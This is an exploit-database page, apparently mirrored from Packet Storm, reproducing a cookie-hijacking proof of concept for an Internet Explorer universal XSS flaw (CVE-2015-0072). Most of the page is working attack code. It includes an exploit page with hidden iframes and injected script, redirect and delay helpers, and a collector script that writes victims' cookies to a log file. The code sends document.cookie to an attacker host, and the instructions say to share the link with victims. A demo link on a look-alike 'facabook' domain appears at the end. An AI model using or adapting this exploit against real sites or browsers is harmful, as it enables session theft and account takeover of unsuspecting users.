Lucene search
K

Microsoft Internet Explorer Universal XSS Proof Of Concept

🗓️ 09 Feb 2015 00:00:00Reported by bhdreshType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 42 Views

Universal XSS Proof Of Concept for Internet Explore

Related
Code
`Cookie hijacking: Internet Explorer UXSS (CVE-2015-0072)  
  
Host below files on webserver (attacker.com) and share the exploit link with victims,  
  
exploit.php --- exploit link (Share with victim)  
  
redirect.php --- Script to redirect on target page (target page should not contain X-Frame-Options or it will fail)  
  
delay.php --- Script to add delay  
  
collector.php --- Script to collect hijacked cookie  
  
log.txt --- Collected cookies will be stored in this text file  
  
-------------------------------------exploit.php-----------------------------------  
<iframe src="redirect.php" style="display:none"></iframe>  
<iframe src="https://target.com/" style="display:none"></iframe>  
<script>  
top[0].eval('_=top[1];with(new XMLHttpRequest)open("get","http://attacker.com/delay.php",false),send();_.location="javascript:bkp=\'http://attacker.com/collector.php?\'+document.cookie;alert(bkp);window.location(bkp);"');  
</script>  
--------------------------------------------------------------------------------------  
  
-------------------------------------redirect.php-----------------------------------  
<?php   
header("Location: https://target.com/");   
exit();   
?>  
--------------------------------------------------------------------------------------  
  
-------------------------------------delay.php-----------------------------------  
<?php   
sleep(15);   
echo 'Bhdresh';   
exit();   
?>  
--------------------------------------------------------------------------------------  
  
-------------------------------------collector.php-----------------------------------  
<?php   
$f = fopen("log.txt", 'a');   
fwrite($f, $_SERVER["REQUEST_URI"]."\n");   
fclose($f);   
header("Location: http://www.youtube.com/");  
?>  
  
--------------------------------------------------------------------------------------  
  
-------------------------------------log.txt-----------------------------------  
- Create a file as log.txt and modify the permissions (chmod 777 log.txt)  
--------------------------------------------------------------------------------------  
Demo: facabook.net16.net/exploit.php  
Reference: http://innerht.ml/blog/ie-uxss.html  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation